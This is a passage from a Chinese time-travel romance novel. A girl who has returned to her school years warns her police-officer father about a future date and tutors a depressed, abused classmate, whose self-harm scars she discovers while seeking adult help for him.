“安安?”安仁谦察觉出不对劲,稍稍拉开距离,捧起她的脸,这才发现女儿的眼眶通红,眼中满是泪水。
他的眉头立刻皱了起来,粗糙的拇指蹭过她的眼角:“谁欺负你了?”
祝今安仰头看着他,喉咙发紧,眼泪在眼眶里打转。
“爸……”她的声音抖得不成样子,带着浓重的鼻音,“你能不能……别再做那个工作了?”
安仁谦愣住了,随即失笑:“傻丫头,怎么突然说这个?”
他揉了揉祝今安的头发,像哄小孩子一样:“爸爸可是人民警察,保护你们的安全是我的责任啊。”
祝今安死死咬着下唇,眼泪大颗大颗地往下掉。
她攥着爸爸衣角的手指关节都泛白了:“爸……我真的害怕,很害怕,我、我……”
安仁谦呼吸都乱了,手足无措擦着她的眼泪:“安安,你先别哭……”
“您答应我!”
祝今安含着泪光的眼睛执拗地望着他。
“……”
安仁谦叹了口气,摸了摸女儿的脑袋:“傻丫头……”
他的声音不自觉地放软:“爸爸可是刑警队长啊,多少案子等着……”
“我不要听这些!”祝今安突然激动起来,声音里带着哭泣的颤抖,“我只要您平平安安的!”
客厅里一时安静得可怕。
祝秋韵站在厨房门口,手里还拿着没来得及放下的汤勺。
安仁谦深深叹了口气,宽厚的手掌轻轻抚上女儿的发顶。
他望进那双和妻子如出一辙的眼睛,连盛满的担忧都一模一样。
他也真是,让老婆孩子那么担心自己……
“安安……”他的喉结滚动了一下,“有些事,总要有人去做……”
祝今安猛地摇头,扑进安仁谦怀里,把脸埋在他胸前哽咽着:“那为什么……非得是您呢……”
这句话像一把钝刀,刺进安仁谦的心脏。
他张了张嘴,却发现所有的道理在女儿的眼泪面前都显得那么苍白。
“安安……”他最后缓缓道,“爸爸答应你,我以后会小心点,好吗?”
……
果然没用吗。
祝今安难受。
爸爸是警察啊,这不是很显然的事情吗?
那就只能提醒了。
她深吸一口气,从父亲怀里退出来,眼里还含着泪水,神情严肃地望着他的眼睛:“那爸爸,你一定要特别注意2017年11月23号,千万要小心,不要轻易被表象迷惑。”
只说日期不说具体的事情应该没关系吧?
她说完,还掐了自己一下,确认自己没被遣回。
“什么?”
安仁谦被她突如其来的郑重其事弄得一头雾水。
“我说注意2017年11月23日这一天!”祝今安急得声音都变了调,双手紧紧攥住他的领口,“你要每天睡前默念这个日期!一遍不行就十遍!”
安仁谦怔住了。
女儿眼中的执拗与恐惧太过鲜明,让他心头一颤。
他粗糙的大手轻轻包裹住女儿攥紧的拳头。
“安安,告诉爸爸,”他声音放得很轻,“为什么是这一天?这一天是什么特殊的日子吗?”
祝今安的睫毛剧烈颤抖着,嘴唇开合了几次却说不出话。
“……我不知道,我就是害怕,我好像做梦梦到了,这天会发生什么……”
最后她选择胡编乱造,胡搅蛮缠:“我不管!我就是害怕!你必须答应我!不然,我就再也不和你说话了!”
安仁谦望着女儿表情,多年的侦查经验几乎瞬间让他意识到,女儿在撒谎。
这个认知让他心头一紧。
但更让他在意的是,女儿眼中那份真实的恐惧绝不是装出来的。
一瞬间他的脑海冒出诸多问题。
那一天会发生什么?是什么让自己的女儿这样恐惧?她如此想让自己辞职,难不成是和他侦查的案件有关?还是有人想迷惑他?谁,他追查的犯人还是想报复的仇人?如果是,自己的女儿是怎么知道的?难道她从哪得知了这个计划?还是说有人故意透给她的?
安仁谦惊出一身冷汗来。
无论哪种情况,这都不是一个好消息,说明自己女儿很危险。
他想要问清楚,但他直觉祝今安是不会回答他的问题。
最后他决定——
“好,爸爸答应你。”
先答应下来,以后旁敲侧击,暗中观察。
听到安仁谦答应了,祝今安的眼睛倏地亮起来:“那拉勾!”
她伸出小拇指。
“好,拉勾。”
安仁谦粗壮的小拇指轻轻地勾住女儿纤细的小指。
“拉勾上吊,一百年不许变,骗人就是小狗!”
祝今安一字一字认真道。
“好,骗人是小狗。”
一大一小的手,大拇指合上,盖上章,誓言也就成立了。
这是祝今安想要改变的第二件事。
完整的爸爸。
**
偷偷熬了一晚上的夜,祝今安着实有些撑不住了,小睡一会儿,结果一睁眼已经下午一点了。
糟糕了!
祝今安连忙从床上爬起来。
她已经约定好要给季言澈带饭啊!这个时候估计已经吃饭了吧?
匆匆忙忙收拾好后,祝今安就出门了。
她飞快地蹬着自行车,也不懂自己为什么穿越回来这两天怎么天天高强度运动。
但她看着碧蓝的天,灿烂的阳光,忽然觉得心情很不错。
自己现在可是青春诶!青春不就应该跑跑跳跳吗?
她露出笑容来。
这个时期可是她最无忧无虑的时候啊,但她就知道天天刷题看书,都没好好玩一下,这么努力,结果毕业后不还是做牛马!
祝今安忍不住叹息想。
真是浪费啊!
**
接近两点,祝今安才赶到便利店,再次气喘吁吁推开门,看到季言澈站在柜台的身影。
她摘下帽子,向前道歉:“抱歉啊,我起晚了,没给你带饭……”
“你吃饭了吧?”
季言澈点头,他戴着口罩,也看不清楚他的表情:“吃了,没关系的。”
“我以为你今天不回来了。”
他的声音似乎有些开心。
“这几天我都会来的,但五天后就不能来了。”
祝今安放下书包,有些无奈道。
……
对方沉默了一会,轻声道:“好,我知道了。”
祝今安有些意外:“你不问我原因吗?”
季言澈低下头来,藏在柜台下的手攥紧:“我知道原因。”
祝今安:“?”
“你怎么可能知道原因,我都觉得原因很魔幻。”
她都没找好掩饰的理由呢。
“我就是知道……”
听他这么说,祝今安倒是好奇起来了:“那你说说我五天后不来找你的理由是什么。”
“是大冒险吧。”
季言澈昨晚思索了
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一夜,能想到的理由也就是她一时兴起或者大冒险输了。
他想,如果明天她不来的话,那么肯定是这样。
所以他把期待放到最低,等着她的出现。
直到中午,她还没有出现。
他想,她果然不来了。
说不出什么感受,有一些难过,但又还好,毕竟他已经习惯了。
可是,现在她又出现在他面前。
看到那顶熟悉的红帽子时,季言澈真的很开心。
“噗——”祝今安听他说完,直接笑出声,“这是什么理由,我有这么无聊和别人玩大冒险来逗你?”
“那……为什么?”
难道是一时兴起,觉得好玩吗?
“额……”祝今安也不知道怎么解释,最后决定瞎掰道,“其实,我是双重人格。”
季言澈:“……?”
“双、双重人格?”他像是听到了什么不可思议的东西,头猛地抬起来。
这个心理疾病很严重啊,怎么会呢?
“对,我现在是大安,是副人格,但小安是主人格,她不知道我的存在,你懂吗?”
“而我暂时只能出现七天,七天后就走了,所以小安不会记得你,你懂吗?”
“你应该去医院。”
季言澈皱眉,严肃道。
“这个病很严重的,你应该去医院。”
他再次强调。
“没那么严重,我就出来个七天而已,之前都没出现过,你先听我说……”
“不行得去医院,这个真的很严重的,”
季言澈固执道。
“……”
“好吧,我没有双重人格,刚刚骗你的,”祝今安扶额,不知道该说什么好,只能勉强道,“和你开个玩笑。”
季言澈没有笑:“这个玩笑不好笑。”
她怎么能开这种玩笑呢?他都要被吓死了。
“对不起……”
和抑郁症患者开这种玩笑确实不好……可是她真不知道怎么解释啊。
“你不用和我解释的,甚至还编造这种理由来骗我。”
祝今安看不清他刘海下的表情。
“我七天后不会缠着你的。”
是一时兴起吧。
果然就是。
他低下头来,感觉心口一阵绞痛,喉咙哽着慌。
“不是啊,你七天后请务必缠上我啊!”
祝今安连忙道。
这样下去肯定会搞砸的!还是接着扯谎吧。
“我其实去过医院了,有好好吃药控制,你看我之前是不是也没什么症状对不对?”
她双手撑在柜台上,踮起脚凑近他,眼神真诚道:“你相信我,我是真心想和你成为朋友的。”
……
不信。
季言澈不是傻子,他因为母亲的心理疾病专门研究过这方面的知识,而祝今安的表现完全不像有疾病的样子。
他不是很明白,为什么祝今安要这样做,骗他也没有意义吧。
是好玩吗?
好吧,好玩也可以,如果这七天她能开心的话。
“好,我相信你。”季言澈点头道。
“你相信就好。”这已经是她能想到的最好的解释了啊。
“这样的,到时候你看到我失忆的样子不要惊讶啊,就重新做一遍自我介绍,告诉我你想和我交朋友就好了。”
祝今安学生年代性格开朗,只要和她成为好朋友,季言澈也就不需要以网友的身份听她发牢骚了,他也可以和她倾诉,这样未来出了意外,她也能帮着解决,季言澈应该就不会自杀了。
她思索着她的计划,忍不住叮嘱道:“你和我成为朋友了,一定不要憋着自己啊,有什么难过的事就和我说,我肯定会尽全力帮助你的。”
他难过的事那么多,哪里是她能承受的。
季言澈垂下眼帘,一声不吭。
“还有啊,遇到困难找老师找同学找警察找网友都可以,不要想不开啊,什么困难总会挺过去的……”
……
其实祝今安觉得现在说这些是没有意义的,她怎么可能指望这些轻飘飘、不明所以的话能影响十年后的事情呢。
可是万一呢,她又忍不住这样想。
万一能救他呢。
祝今安只能尽力救他。
她只有七天时间啊,她能怎么做,能做的只有这些了。
8. 第一封信5
祝今安嘱咐完她想说的话后,就摆出一副小老师的架子:“带卷子了吗?”
“带了。”
季言澈闻言,从他身后的椅子上提起一个包,从中拿出一沓卷子。
祝今安接过,大致扫了一眼,全是红笔订正的痕迹。
“订正这么多,下课有看过吗?”
祝今安的声音不轻不重,却让季言澈指尖一颤,下意识攥紧了衣角。
他低着头,喉结轻轻滚动,声音弱弱道:“……没有。”
祝今安没有说话,拿起卷子一张张看过去。
纸张翻动的声音在季言澈的耳边格外刺耳,每一声都像是踩在他紧绷的神经上。
……会挨批评吗?
他悄悄抬眼,从刘海的缝隙中偷瞄她的表情。
祝今安的眉间微蹙,嘴唇抿得直直的,看不出她的情绪。
可越是这种平静,季言澈的心里越是发慌。
他要挨骂了吧?
她会怎么骂他?是会拿笔打他的手心吗?还是会蹙起好看的眉,用一脸无语的表情训斥他?还是……
季言澈想象着祝今安训斥他的样子,莫名心跳加速起来,脸上也浮出可疑的红晕,双腿也开始有些发软了,他不得不抓住柜台边缘才站稳。
要是被这样训斥……好像……也不错……
不对!我在想什么啊!我是变态吗!
意识到自己在想什么的季言澈慌张低下头来,不自觉地捋着额前的刘海,眼神失焦地盯着他早已发黄的休闲鞋看,心中升腾起一股罪恶感来。
“大概看了几眼,你的基础很差啊,百分之七十的基础题都是错的。”
“嗯……”
“你要复盘你的错题啊,不然每次都错,每次都没有长进……”
“好……”
季言澈不敢多说话,怕暴露自己奇怪的想法,只敢附和地“嗯”几声。
“现在就复盘吧。”
祝今安从书包中掏出一支笔,在卷子上圈了几道题后,把卷子递给他:“把这几道题重做一遍。”
“遇到不会的看你订正的笔记,如果再不会就和我说,我教你。”
“好。”
季言澈接过笔的瞬间,差点因为手抖没拿稳,他赶紧低头写题,生怕被她看出什么端倪。
见他听话写题了,祝今安从包中拿出她的电脑,开始整理笔记。
这可是她多年教学的心血啊,自己当年要有这条件,全国top5不任她挑。
没事,现在她回来制造条件了,小小安,这次可不能考砸了!
祝今安心潮澎湃想。
季言澈没办法专心写题,他时不时偷偷瞥她,看着她做笔记时而蹙眉时而抿唇的样子,一点点细微的变化都会引起他的内心波动,他连忙低下头来强迫自己做题冷静一下。
这间小便利店一下子变得安静起来,季言澈用余光看着她站在柜台前的身影,忽然觉得要是时间永远停留在这一刻就好了。
但只有七天而已。
七天也好,要好好珍惜。
他悄悄扬起嘴角,为这隐秘的幸福窃喜。
“咕——”
一声不合时宜的胃响打破静谧,季言澈慌张捂住肚子,脸瞬间涨红起来。
她不会听到了吧?他还骗她说他吃饭了……
他小心抬眼偷看她,却见她单手托腮,脑袋一点一点的,眼睛都眯成缝了,时不时颤动一下如蝶翼般的眼睫。
她居然站着打瞌睡了。
昨晚熬夜了?
季言澈有些庆幸她因为瞌睡没有听到他的肚子响。
他小心地搬起身后的椅子走出收银台,轻轻将放在她身后,调整背靠至钝角。
好了。
然后怎么让她躺下?
……
季言澈犹豫了片刻才伸手扶住她的肩膀。
“嗯?”
祝今安迷迷糊糊地转过头,睡眼惺忪的样子让季言澈心跳漏了半拍。
“坐下睡会吧。”
季言澈轻声道。
祝今安的身体微微晃了晃,在睡意朦胧中不自觉地往季言澈的方向倾斜,头也靠在了他的肩上。
他顿时僵在原地,感受着她发丝间淡淡的百合香气萦绕在鼻尖,温热的呼吸轻轻拂过他的颈侧。
好近……
季言澈的心跳快得几乎要冲出胸膛,扶着她肩膀的手指不自觉地收紧。
就这样让她躺下吧。
他屏住呼吸,小心翼翼地引导她缓缓往后靠,动作轻柔得像是对待什么珍贵宝物般。
废了好一番功夫,季言澈才让她安然平躺在椅子上。
她双眸紧闭,身体自然躺着,头发有些散乱地落在肩头,呼吸均匀而绵长,看起来睡得很安稳。
没有醒。
季言澈微微勾唇,将身上的棉袄脱下,小心地盖在她的身上。
这样睡久了也不会冷了。
他望着祝今安的睡颜,心中升起一股满足感。
眼前的人是他喜欢的人啊,是他连在草稿本角落都不敢写下全名的人啊。
季言澈就这样盯了她好一会,才不舍地收回目光。
他想回去接着写题,转身时亮着屏的电脑吸引了他的注意。
他走向前去,想着帮她把电脑关了,省得浪费电,却瞥到屏幕页面标题。
《数学整合笔记》。
她熬夜是在做这个吗?真勤奋。
季言澈想着,按下睡眠键。
**
祝今安醒来时意识还有些混沌。
她抬手恍惚地看着手心的掌纹,反复对焦,才猛地想起来这里是哪里。
“我睡着了?”
她坐起来,惊讶道,身上的外套也随之滑落。
“嗯,你睡了一个小时。”
季言澈应声答道。
“我睡了这么久?”祝今安连忙站起来,面容慌张。
“一个小时不是很久吧……”季言澈小声嘀咕,“你这么困可以多睡会……”
“那你岂不是冷了一个小时?”
祝今安懊恼道。
“啊……”这是季言澈意想不到的话,他一时之间不知道该如何回答,只能支吾道,“没有,我不冷的……”
“空调很暖和……”
而且那件棉袄本就是你给我的。
“快穿上,”祝今安将棉袄塞给他,催促道,“你本来就在感冒,不注意一点是好不了的。”
季言澈听话地穿上棉袄,心底涌起一阵暖流。
也不知道是不是他的心理作用,他好像闻到衣服上的百合香。
他低着头,小心而贪恋地嗅着棉袄的领子,两鬓不短的卷发完完全全遮住他绯
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红的双耳。
今天晚上就抱着它睡好了。
他害羞地想。
“我睡着期间有遇到不会的题吗?”
“有的,我都标出来了。”
祝今安拿过他桌上的卷子和草稿纸,一题题看过去。
他写得很认真,每一步的思考过程都写出来了。
……这也太夸张了吧,怎么把思考一道题的思维链都写出来了?这得费多少功夫啊……
好像看出了她的困惑,季言澈解释道:“我很容易走神,走神了就不知道自己思考到哪,所以都写下来了……”
这时的祝今安才猛然想起他是抑郁症患者。
她捏着卷子的手指微微收紧,指尖泛白。
那她的教学策略得调整了,失策啊,她都没好好研究这方面的事。
“我知道了,”她勉强露出一抹笑,心疼道,“你很努力了。”
“这是你今天的糖。”
她从口袋掏出一颗蓝色的糖果。
今天是蓝莓味的糖。
季言澈如获珍宝接过糖果,盯着它想。
被夸了比意想之中开心。
他的耳朵悄悄红了:“谢谢。”
“来,我给你讲你不会的题……”
……
讲题的过程还算顺利,季言澈走神了她也会用笔敲敲他的手提醒他,然后重新讲一遍。
“不错,你还是挺聪明的。”
祝今安满意点头。
虽然对知识点有些不熟,但一点就通。
她再次从口袋掏出一颗糖放在他手心:“你的奖励。”
“谢谢。”
他现在已经得到两颗糖了。
还有吃药的一颗。
他今天得到了三颗糖。
而且她还敲了他的手四下……
季言澈像个孩子般在心中默默算着。
“对了,你还要背单词,一天20个能接受吗?”
他之前英语挺好的,应该基础不错,但最近成绩却下滑了,祝今安猜测是受他的病情影响。
“嗯,我可以。”
他之前睡觉都是背着单词睡着的。
“那我第二天会抽查哦,如果你都对了就给你糖。”
“那错了呢?”季言澈问。
错了?好奇怪的问题……难道他还想要惩罚?
祝今安不理解,但还是秉承着有奖有罚的原则道:“错了就打你手心。”
错了打手心……好诱惑的奖励……
季言澈纠结了。
是打手心好还是糖果好?
……打手心只能爽一下,但糖果他能收藏起来,还能听到祝今安夸他,糖果也很甜……
季言澈权衡了一下,最后决定——
打手心!
“好好背哦,不然就要挨手心了。”
祝今安看不到他的脸,见他沉默以为他心理害怕,于是顺势劝诫道。
“嗯,我一定好好背。”
季言澈乖巧点头。
他不会错很多的,就小小的错一个,一个就好,他不贪心……
“对了,我明天应该会晚点来,”祝今安拿出手机看了看时间,“要去一趟学校。”
“你记得好好吃饭哦!”
“好。”
只要明天能见到你就好了,多久他都愿意等。
9. 第一封信6
为了能早点见余方雅,祝今安特意一大早就骑着自行车出门了。
刚到学校就正好碰上了来开门的余方雅,她连忙跑过去招手:“余老师!”
“今安?这么早就来学校自习了?”
余方雅看到是自己讨喜的学生,笑得温和。
“那倒没有,我今天是来找余老师您的。”
“找我?”这个回答令余方雅一愣。
“嗯嗯,老师,我和您在办公室聊吧。”
……
办公室有些冷,趁着余方雅放东西的空档,祝今安快步走过去把空调打开。
“坐下说吧,”余方雅坐下,拍了拍身边的椅子,温和道,“找我什么事?”
祝今安坐下,望着余方雅的眼神很是郑重:“老师班上是有一位叫张言澈的同学吗?”
“是啊,这孩子是在我们班,你是认识他吗?”
余方雅疑惑问。
她记得这孩子一直都是独来独往来着,很安静也不闹事。
“嗯,他是我的朋友,我是来找您讨论他的事的,”祝今安点头,“老师,他家里情况很不好,现在临近过年还在便利店上班……”
“上班?!”这是余方雅没想到的,她震惊道,“他家很穷吗?可我看过他的档案,他家不是有他父亲这个经济来源吗?”
听到“他父亲”这个词,祝今安情绪有些没收住大声道:“他的父亲是个坏蛋!家暴他和他的妈妈!”
“言澈真的活得很痛苦,他的妈妈被那个坏蛋逼出了精神病,他现在也有一点抑郁症状……”
她越说越难过,逐渐带上了点哭腔。
他真的很难过啊,这些痛苦压在这么一个小小的孩子身上,应该上学的年纪却背负上了这些……
余方雅的表情凝重,声音有些发紧:“你别急孩子,你慢慢说……”
祝今安吸了吸鼻子,努力让自己的声音平静下来:“我希望老师可以多关注一下他,可以申请助学金、贫困补助之类的吗……”
她泪眼模糊地看向余方雅:“还有可以去公安局或者妇联之类的地方寻求帮助吗……他真的已经没有可以依赖的大人了……”
“你冷静点今安,”余方雅拍拍她的背,“这个事情我得了解清楚。”
“你还知道更多的消息吗?”
祝今安摇头:“没有了解更多了……”
知道的这些还是从余方雅口中了解的,要是早知道自己会穿越,她肯定在之前多问问了。
她懊悔想。
“我明白了,”余方雅语气坚定稳重,“我会尽快向学校上报的,也会找个时间去家访,要是情况属实,学校不会坐视不管的。”
祝今安闻言,紧绷的肩膀终于是放松了些:“谢谢老师,有老师的帮助的话,他一定会轻松很多的……”
“这是老师应该做的……”余方雅叹了口气,“说来惭愧,如果不是你告诉我,老师都完全不知道这件事……”
“老师已经做得很好了。”祝今安轻声道。
在未来,季言澈是很感激您的。
“不过老师,您和言澈问情况的时候就不要是我说的了,其实这些是我偷偷调查的,他都不知道我知道这些事……”
她和季言澈还是不熟的朋友,要是被他知道了估计得怀疑她的目的了。
“好,老师知道了。”
“谢谢老师,那我先走了……”
……
祝今安从学校出来就直接去便利店了。
推开门,就看到季言澈低着卷毛头忙碌着。
他闻声抬起头来,向她问候:“你来了。”
声音很轻快。
祝今安却觉得难过。
她没有说话,向前几步走到收银台前,安静望着他。
眼前的少年那么乖巧,那么懂事,如果他不说,谁知道他那单薄的肩扛着那么多东西呢……
“怎么了?”
被祝今安盯着的季言澈有些紧张,他的脸悄悄红了几分,有些不敢对上她的眼睛。
祝今安还是没有说话,只摇了摇头。
……
她怎么一直看我啊……
季言澈下意识拉着额前的刘海,心跳得厉害,几乎要从胸膛蹦出来了。
……他的刘海这么长,偷偷看她,她也不知道吧……
季言澈想着,偷偷抬眼看她。
却看到她通红的眼圈。
季言澈呼吸一滞:“你……哭过了吗?”
祝今安眼泪险些就要掉下来了。
“没,”她抬起手背抹了下眼睛,笑着摇摇头,“来的时候风大,吹得眼睛疼。”
“是吗……”季言澈的心有些不安,他感觉肯定发生什么事了,可是他也无权过问,只能指着她身后的椅子道,“那你闭上眼睛休息会?”
“不用了,已经好多了。”
祝今安的目光注意到他藏在袖子中的左臂,突然想起余方雅说的那道手臂刀痕。
她下意识抓住他的手。
季言澈整个人都僵住了。
冰凉的触感从指节上传来,却让他整条手臂像被灼烧般发烫。
“你能让我看看你的手臂吗?”
“啊……”季言澈整个脸都红了,大脑一片空白,结巴道,“这、这个……”
她要看他的手臂?为什么?
“可以吗?”
祝今安两只手都握了上去,抬头透过他的刘海望向他的眼睛,想要寻求他的同意。
……
她的眼睛此时还噙着方才未完全擦去的眼泪,带着恳求,就这么直直地望着他。
……被这样一双眼睛注视着,季言澈什么都忘光了,等回过神来同意的话已经说出了口:“……好……”
祝今安松了口气。
还好他同意了,要是不同意她还打算动粗呢。
她一只手强硬地扣住他的手腕,另一只手不由分说就去撸他的袖子。
布料摩擦的窸窣声中,少年苍白的手臂骤然暴露在空气中,激起一层细密的鸡皮疙瘩。
祝今安愣住了。
印入眼帘的是他满是伤痕的手臂。
那些狰狞的疤痕纵横交错着,在苍白皮肤上显得格外触目惊心。
季言澈瞳孔骤缩,猛地想要抽回手,可她的五指如铁钳般纹丝不动,甚至因他的挣扎而收得更紧。
她颤抖地用指尖轻轻抚上这些凹凸不平的疤痕,微痒的触感令季言澈全身绷紧。
他轻滚喉结,注视着她的扎着马尾的后脑勺,想,此时此刻她是什么心情呢,是被吓到了吧?
季言澈垂下眼帘,声音微哑:“……别看了,很吓人……”
祝
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今安猛地抬起头来:“这是怎么回事?”
她清亮的眼睛直直地望向他,季言澈甚至能看到她眼中他的身影。
他心口发烫,张嘴想说话,最后轻声道:“……就是工作的时候搞的,那个时候工作不熟练,所以总是受伤。”
“已经过去很久了,没事了……”
骗人,这些伤痕一看就是人为的。
祝今安扣住季言澈手腕的手微微收紧,思潮起伏。
他那混蛋爸打了他多少年啊……才手臂就这么多伤,那看不到的部位呢……
她紧咬下唇,情绪有些控制不住地想落泪。
“……张……言澈,你以后受伤了能不能和别人说啊……”
大颗的泪珠砸在他的手臂上,烫得他心脏发颤。
她哽咽着,声音颤抖:“你不说的话,没人知道啊……”
就这样一直忍耐着,走向了毁灭……
“你不要哭啊……”季言澈慌乱地抬手,却在快要触到她脸颊时僵住,最后只是无措地悬在半空,“我真的没事的……”
“骗人,这些怎么可能没事!”
没事的话会在未来选择自尽吗!
“张言澈,你就是个大蠢货!自大的蠢货!”
……
是啊,他是蠢货。
季言澈抿紧苍白的唇,喉结艰难地滚动了一下。
他抽了两张纸巾,小心翼翼地放进她的掌心:“你不要哭了,我不知道怎么办……”
他犹豫片刻,终于轻声承诺:“我以后会试着说出来的,好不好……”
说完又立即抬眼,紧张地观察着她的表情。
“真的?”
祝今安攥紧手中的纸巾,泛红的眼睛一瞬不瞬地盯着他。
“嗯,”他点头,轻声道,“我会努力试试的。”
……
他愿意说出要尝试这样的话已经是很大的进步了。
祝今安擦了擦眼泪,心想。
他的左臂上也没有余老师说的刀痕,应该还没发生被刀伤的事吧?
那就来得及,被刀砍多疼啊……
她想着,心中庆幸,从兜中摸出一颗糖:“这是你今天听话的第一颗糖。”
“……谢谢。”
季言澈小心接过,放到他的口袋中。
“我给你的糖你有吃吗?每次你都放口袋里。”
……没有。
他有些心虚不敢看她,好在他刘海长,她看不见他的眼睛:“有吃的……”
“那就好,这个放久了就不好吃了,别不舍得吃。”
祝今安说着,想起来昨天布置的作业:“单词背了吗,背对了还有糖。”
“背了,”他乖巧点头,从书包拿出英语书,主动呈上,“我背了50个。”
他声音里隐约带着点期待,祝今安看着他毛茸茸的脑袋,突然觉得他挺像小狗的,还是只潦草小狗。
“是吗,真棒,”她接过书,“那我抽背30个单词,对了20个就有糖。”
对20个就有糖,那错了一个岂不是既能打手心又有糖了?
季言澈在心中算着,有些窃喜,像个讨到便宜的孩子,点头:“我准备好了。”
祝今安不知道他的小心思,只觉得他挺乖巧的,翻开课本:“那第一个单词……”
……
10. 第一封信7
“就错了一个单词,真不错。”祝今安改完单词,满意点头,“喏,给你糖。”
“谢谢。”
季言澈接过,然后等待着她的“罚”。
但祝今安只是给了糖后,转身拿出了一张卷子:“接下来就是做题了,你做道阅读,我看一下你的阅读习惯。”
季言澈接过卷子,沉默了一下,看向她小声道:“我错了一个单词。”
“嗯?”祝今安不明所以,“是呀,就错了一个单词,很厉害啊,还要我给你个赞?”
说着给他竖起大拇指,朝他笑。
季言澈感觉自己的心被撞了一下。
好可爱。
不对,重点不是这个!
“不是这个意思,”他抿唇,吞吐道,“我错了一个单词……不应该打手心吗……”
……
这家伙是不是有些过于乖巧,不,应该说过于老实吧?怎么还有人主动讨罚的?
祝今安有些惊异地看着他:“不用了吧,你都背了50个单词了,还只错了一个,很棒了,不罚你。”
“可是有奖有罚不是吗……”他抬头看向她,语气意外的执拗,“如果不罚的话,我下次会错更多的。”
“……”他停顿了一下,下定决心补充道,“我会错20个。”
直到你罚我为止。
祝今安怔住:“是,是这样吗?”
这会不会有些太夸张了……为什么他能把自己下次错说的那么坚定,跟故意似的……
“会这样的。”
他再次认真强调道。
“……好吧……”
既然他都这样说了,那就打吧,也就打下手心而已。
祝今安想着,开口道:“那你把手伸出来。”
季言澈迅速将手掌平伸到她面前:“请打吧。”
……怎么感觉他还有些迫不及待?
祝今安狐疑地看着他。
“怎么了……”
见祝今安紧盯着自己,季言澈紧张道。
“没,就觉得你怪礼貌的。”
被打还说个请。
“我打了啊。”
她说着,手中握着的笔杆打在他手心上。
……
没感觉。
季言澈紧了紧拳头。
还没有指甲掐手心有痛觉……
他抿唇,有些意犹未尽。
“很疼吗?”
祝今安见他没说话,轻声问道。
季言澈摇头:“不疼,没有感觉。”
“哦,那就好。”
他的手真的,一点肉都没有,手指细长,皮肤还白,看着像个易碎的瓷器似的,祝今安真不忍心用力。
……一点都不好。
季言澈垂眸,有些不开心地抿唇。
早知道就准备一把尺子到书包了……
他想让祝今安用力一点,但这个奇怪的请求肯定会引起怀疑的,而且很可能被讨厌……
他不想被她发现自己心理有病,万一她知道了,连这七天都不愿和他相处了怎么办……
……不,只剩下四天了。
想到难过的事情,季言澈有些控制不住情绪,他伸手拿过卷子看起阅读来。
密密麻麻的单词看得他头晕,但很好地让他冷静自己的情感。
他断断续续读着,边读边拿笔划。
……
不过以他现在的状况,全神贯注还是太难了。
他总是看几个单词就走神,然后重新看一遍,他一边拉刘海,一边思考着,写完一篇阅读他感觉自己已经是身心俱疲了,还不知道过去了多久。
“我写完了……”
他抬头,看向她。
“嗯,我知道,”祝今安指了指手机上的时钟,“你写一篇B篇阅读花了半个多小时。”
很慢。
季言澈知道。
以前10分钟以内就能写完的题,但现在他要花一倍以上的时间,所以最近几次考试,他英语卷子就没写完过。
“很难集中精神吗?”她看着他为难的样子,轻声问。
“嗯……有点。”
季言澈捏着笔的指尖泛白。
“如果目前难以集中精神,那我们换个策略。”
她大致观察了一下,他读短句没什么问题,一旦句子长了就停住了,反复回头看了好几次。
祝今安夺过他手中的笔,在卷子上圈圈画画起来:“做英语阅读是有技巧的,你可以带着题目关键单词,也就是定位词去原文找答案。”
“你看这第一题的定位词……”
她倾身向前,手肘抵在收银台上,笔尖精准地点出几个单词。
季言澈努力斜着身子想去看卷子,但这显然有些难度。
祝今安顿了顿,瞥了一眼两人别扭的姿势。
这显然不是一个很好的辅导功课的距离。
“你,”她直起身,抬了抬下巴,示意他往里挪,“进去点。”
季言澈愣了一下,随即反应过来,有些局促地往收银台内侧挪了挪。
祝今安拿着卷子自然走到他身边。
本一人可以自由活动的空间突然挤进两人,一下子显得逼仄起来。
……
季言澈不自觉地屏住呼吸,直立着,不敢动一下。
近到不可思议的距离。
稍微靠近一点就能挨到她的胳膊了……
他能听到胸膛中几乎要跳出来的心跳声。
“这样才对嘛。”
祝今安很满意现在的距离,她拉过椅子坐下,铺开卷子,笔尖指着刚才圈出的单词:“你接着看这些定位词啊,去原文找到这些词都有的段落……”
为了能看清卷子,他俯身,一只手肘撑在桌上。
这个姿势离她很近,甚至都能闻到她发间的百合香……
心跳声在耳膜上隆隆作响,季言澈都有些听不清她的讲题声。
他的喉结不自觉上下滚了一下。
不行,不能这样。
要是不听话,她可能就不会给他讲题了……
他攥紧拳头,深吸一口气,强行让自己冷静下来,看向卷子,集中注意力听她讲。
“……你听懂了吗?”
祝今安讲的差不多了,看向他。
季言澈闻声也看过去,猝不及防撞进她近在咫尺的眼睛。
他慌张地点头,耳朵悄悄红了。
……
祝今安皱眉看着他遮得完完全全的刘海,心里莫名不爽起来。
这不是连最基本的眼神交流都做不到吗?她看不到他的表情,都不清楚他是真会还是假会。
“你的刘海……”她用笔杆拨了拨他额前厚重的刘海,“可以扎起来吗?”
“啊……”季言澈一下子没反应过来,抬手抓了抓自己的刘海,“这个……”
“
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我老早就想说了,你这刘海挡这么严实看得到路吗?”
“而且不累吗?”
“……是有点,不过还好……”
一开始是因为懒得修理头发,后来刘海留长了,他发现这样不用和别人对上眼神很有安全感,就干脆一直这样了。
“这个刘海真的看起来很不舒服啊,我看不到你的眼神都接收不到反馈了,”祝今安认真道,“至少我辅导你的时候扎起来吧?”
“……”
季言澈垂眸,有些犹豫。
他很久没有露出眼睛了,早就把这刘海当做自己的一道保护罩。
可是这样会影响她讲课……
他抿唇,思忖了片刻,犹豫道:“可是我没有可以绑头发的东西……”
“我有啊!”
祝今安说着,将她头上的皮筋取下来,三千青发如瀑倾泻,清新的百合香蓦地在这小小的空间里弥散开来。
“喏,给你皮筋,”她笑着伸出手将皮筋递到他眼前,“送你啦,我还有很多呢。”
高中时期唯一能摆弄的就是头发了,所以她存了好几盒好看的头绳、发夹。
……
季言澈看呆了。
他想今天对他的考验是不是太多了。
这样下去他肯定会因为心跳过速死掉的。
他近乎仓皇地接下那跟头绳,结巴道:“谢、谢……”
黑色的头绳,坠着几颗红色的珠子,是她喜欢的风格。
季言澈有一个瞬间想要去嗅这根头绳,他想那上面的百合香肯定更加馥郁。
意识到自己糟糕想法的他脸爆红,直接给了自己一巴掌——
你在想什么!你是变态吗!
祝今安:“??!”
她吓了一跳:“你怎么突然扇自己一巴掌?”
“我……想让自己清醒一点,”他摸了摸被扇得火辣辣的脸,“现在感觉确实好多了。”
祝今安:“……?”
扇巴掌还好多了?
她看着他,欲言又止,最后决定跳过这个诡异的小插曲:“行吧,你赶紧把头发扎起来吧。”
季言澈点头,抬起手。
